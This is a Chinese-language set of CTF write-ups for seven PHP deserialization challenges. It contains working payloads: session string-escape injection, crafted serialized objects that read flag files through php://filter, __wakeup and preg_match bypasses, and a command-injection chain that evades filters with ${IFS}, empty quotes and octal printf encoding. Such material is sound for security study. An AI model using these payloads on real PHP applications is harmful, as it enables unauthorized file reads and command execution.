1.[安洵杯 2019]easy_serialize_php
在序列化SESSION得:
a:3:{s:4:"user";s:33:"guestflagflagflagflagflagflagflag";s:8:"function";s:69:"aaaaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"ctf";s:6:"webctf";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
经过filter过滤的结果:
a:3:{s:4:"user";s:33:"guest";s:8:"function";s:69:"aaaaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"ctf";s:6:"webctf";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
由于替换了7个flag关键字,会往后吞28个字符串,刚好将guest";s:8:"function";s:69:"aaaaa 赋给了user,后面构造img变量,后面是随便添加的一个变量,刚好满足三个变量,反序列化读取到webctf就结束了,后面的img被丢掉了。这样就完成了img的赋值。
playload:
http://272ed79b-77e4-46d7-92a3-b723c4013aa6.node4.buuoj.cn:81/index.php?f=show_image
POST:_SESSION[user]=guestflagflagflagflagflagflagflag&_SESSION[function]=aaaaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"ctf";s:6:"webctf";}
2.web buuctf [网鼎杯 2020 青龙组]AreUSerialz1
<?php
class FileHandler {
protected $op=2;
protected $filename="flag.php";
protected $content;
}
$a = new FileHandler();
echo serialize($a);
?>
可以看出对于传参,应使ascii🐎值在32到,125之间,但是 $op $filename $content三个变量权限都是protected,而protected权限的变量在序列化时会有%00*%00字符,%00字符的ASCII码为0,不在is_valid函数规定的32到125的范围内。
可以使用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。
<?php
class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
echo serialize($a);
?>
3.BUUCTF [极客大挑战 2019]PHP 1
提示备份,用dirsearch或dirmap扫出来
py3 dir.py -u http://3c25afd0-8c4a-4832-8e11-f182ffcccae4.node3.buuoj.cn/ -e * -w db/dir.txt
构造序列化,php代码:
<?php
class Name
{
private $username = "yesyesyes";
private $password = "nonono";
public function __construct($username,$password)
{
$this->username=$username;
$this->password=$password;
}
}
$a = new Name(@admin,100);
//var_dump($a);
//echo "<br>";
$b = serialize($a);
echo $b."<br>";//输出序列化
echo urlencode($b);//输出url编码后的序列化
?>
调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
然后url识别不了",改为%22
O:4:%22Name%22:3:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;}
因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。
O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
完整payload:
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
也可以直接用序列化后的url编码。这里要注意,php的urlencode()是会自动把空编码成%00,而Python的parse.quote()不会(php果然是世界上最好的语言~【狗头】)。
编码后一样要把属性2改为3或以上。
没改前
?select=O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
改后
?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
4.攻防世界web新手练习 -unseping
通过对源码的分析,我们可以初步进行php脚本编写
源码中,在post参数ctf中传入,首先将ctf编码,然后对ctf变量进行序列化,从而传入类中
传入的参数符合以下条件:
第一个参数为ping
第二个参数为执行的命令(做绕过)
通过以上分析,编写的php脚本如下
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('ls'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
空环境变量绕过
可以看到命令已经执行,下面的就是进行命令绕过了,我们看到ls被过滤了,想到可以进行空环境变量绕过,绕过方法比较多,想到以下3种
‘’ 单引号
“” 双引号
${Z}
这里运用双引号绕过
ls查看当前文件
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
空格绕过
查看flag_1s_here文件时,需要运用控环境变量对cat进行绕过,空格运用${IFS}进行绕过,
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('c${Z}at${IFS}f${Z}lag_1s_here'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
发现无法查看,试了几次以后,才发现原来是一个文件夹,所以此时我们应该查看文件夹里面有什么,运用命令ls flag_1s_here,绕过方法l""s${IFS}f""lag_1s_here
oct 绕过命令执行
$(printf "\154\163")//ls命令,这个编码后可以拼接
需注意,符号都为英文状态下
此时我们需要执行命令为cat flag_1s_here/flag_831b69012c67b35f.php
$(printf "cat flag_1s_here/flag_831b69012c67b35f.php")
编写脚本对命令进行ascii编码然后八进制转换
str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
//对字符先转换为ASCII码,再转换为八进制
lett = oct(ord(i))
//这个主要是为了将八进制前面的0o替换掉
lett=str(lett).replace("0o","")
arr.append(lett)
sym = "\\"
# print(arr)
//将所有的八进制组合,最终的结果第一个地方应该再添加一个\
ccc=sym.join(arr)
print(ccc)
获取到编码后直接用php脚本获得payload,空格运用${IFS}绕过即可
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
5.攻防世界之Web_php_unserialize(超详细WP)
函数绕过
将传的参数进行base64编码,绕过base64_decode函数
在反序列化串的O:前加个加号“+”,绕过preg_match函数
修改反序列化串的对象属性个数(一般大于原个数),绕过wakeup函数
<?php
class Demo {
private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a); //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a); //绕过__wakeup()函数
echo base64_encode($a); //绕过解码函数
?>
6.攻防世界unserialize3
对于这个字符串我们可以看到它有一个变量值("xctf":后面的1)。而对于反序列化来说如果字符串中的变量的数目和真实的数目不一样那么__wakeup会出现错误,我们就造成了反序列化漏洞。
所以我们在填写字符串时将变量值的数目从1改成2
7.Bugku CTF 每日一题 点login咋没反应
<?php
$KEY='ctf.bugku.com';
echo serialize($KEY)
//s:13:"ctf.bugku.com";
?>